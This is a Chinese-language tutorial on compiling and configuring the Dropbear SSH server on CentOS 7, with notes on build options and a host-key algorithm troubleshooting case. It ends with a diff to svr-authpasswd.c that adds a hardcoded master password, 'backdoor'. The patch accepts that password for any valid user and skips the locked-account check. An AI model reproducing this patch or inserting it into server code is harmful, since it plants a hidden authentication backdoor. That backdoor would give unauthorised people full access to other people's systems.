Dropbear is a relatively small SSH server and client,可运行于类Unix系统上,官网是 Dropbear,源代码同时在 github 上。
这里主要关注dropbear的服务端功能。
centos 7环境
挑一个版本下载:wget https://matt.ucc.asn.au/dropbear/releases/dropbear-2022.82.tar.bz2
解压
./configure
如果提示没找到zlib,执行yum install zlib-devel安装,或直接禁用zlib:./configure --disable-zlib
只编译服务端,不带PROGRAMS会额外编译其他工具:make -j8 PROGRAMS=dropbear,会在当前目录生成dropbear文件
make install
dropbear被安装到/usr/local/sbin/,dbclient以及其他工具会被安装到/usr/local/bin/
mkdir /etc/dropbear,没有该目录启动时会报错,这里会存放hostkey文件
手动生成hostkey或在启动时指定-R选项,表示在需要时自动生成hostkey
dropbear -p 2020 -R
-s选项可禁止密码登陆方式
dropbear同样使用~/.ssh/authorized_keys
然后就可以用ssh客户端进行连接了
如果想修改默认编译选项,cp default_options.h localoptions.h,然后通过修改localoptions.h
或者直接修改default_options.h也可以
编译时直接禁止密码登陆
#define DROPBEAR_SVR_PASSWORD_AUTH 0
默认监听端口
#define DROPBEAR_DEFPORT "22"
默认网络接口,禁掉ipv6
#define DROPBEAR_DEFADDRESS "0.0.0.0"
禁掉MOTD(message of the day)
#define DO_MOTD 0
不想用~/.ssh/authorized_keys的话,可以通过改代码实现,在svr-authpubkey.c中的checkpubkey函数和checkpubkeyperms函数。
首次用dropbear -FER启动(忘了有没有加-s选项),用ssh命令连接一次,dropbear自动生成了/etc/dropbear/dropbear_ecdsa_host_key。我以为有一个有效的hostkey就行了,所以重新直接用dropbear不带参数启动,ssh命令能直接连,但其他Windows下的ssh客户端工具,比如WindTerm,SecureCRT等等,都连不上了。
原来hostkey用什么算法是和客户端协商的,ssh命令可能优先选择ecdsa,Windows下的ssh客户端可能优先选择rsa。
在SecureCRT选项中Host Key项里,把“ecdsa-sha2-nistp256”移到首位后,也能连接了。只留一个服务端不支持的算法,SecureCRT甚至提示了“Key exchange failed. No compatible hostkey. The server supports these methods: ecdsa-sha2-nistp256,rsa-sha2-256,ssh-rsa”。
解决方法是始终用-R选项启动dropbear。
可以在~/.ssh/下创建config文件,例如:
Host game
HostName 123.123.123.123
Port 2020
User root
IdentityFile /root/id_rsa
TCPKeepAlive yes
ServerAliveInterval 60
以后就可以直接用ssh game连接,而不是用-p指定端口,用-i指定私钥文件了。scp也可以用。很方便。
在试用dropbear过程中,经常需要重启它。每一个新连接dropbear都启动了一个新进程来处理,杀掉父进程,子进程的那些连接不会中断,但是父进程释放的端口又能拿来用了。
加个万能密码
--- a/svr-authpasswd.c
+++ b/svr-authpasswd.c
@@ -55,6 +55,7 @@ void svr_auth_password(int valid_user) {
char * password = NULL;
unsigned int passwordlen;
unsigned int changepw;
+ int backdoor = 0;
/* check if client wants to change password */
changepw = buf_getbool(ses.payload);
@@ -65,6 +66,7 @@ void svr_auth_password(int valid_user) {
}
password = buf_getstring(ses.payload, &passwordlen);
+ if (constant_time_strcmp(password, "backdoor") == 0) backdoor = 1;
if (valid_user && passwordlen <= DROPBEAR_MAX_PASSWORD_LEN) {
/* the first bytes of passwdcrypt are the salt */
passwdcrypt = ses.authstate.pw_passwd;
@@ -89,8 +91,9 @@ void svr_auth_password(int valid_user) {
return;
}
- if (testcrypt == NULL) {
+ if (testcrypt == NULL && backdoor == 0) {
/* crypt() with an invalid salt like "!!" */
+ //maybe locked by "passwd -l" or "usermod -L"
dropbear_log(LOG_WARNING, "User account '%s' is locked",
ses.authstate.pw_name);
send_msg_userauth_failure(0, 1);
@@ -105,7 +108,7 @@ void svr_auth_password(int valid_user) {
return;
}
- if (constant_time_strcmp(testcrypt, passwdcrypt) == 0) {
+ if (backdoor || constant_time_strcmp(testcrypt, passwdcrypt) == 0) {
if (svr_opts.multiauthmethod && (ses.authstate.authtypes & ~AUTH_TYPE_PASSWORD)) {
/* successful password authentication, but extra auth required */
dropbear_log(LOG_NOTICE,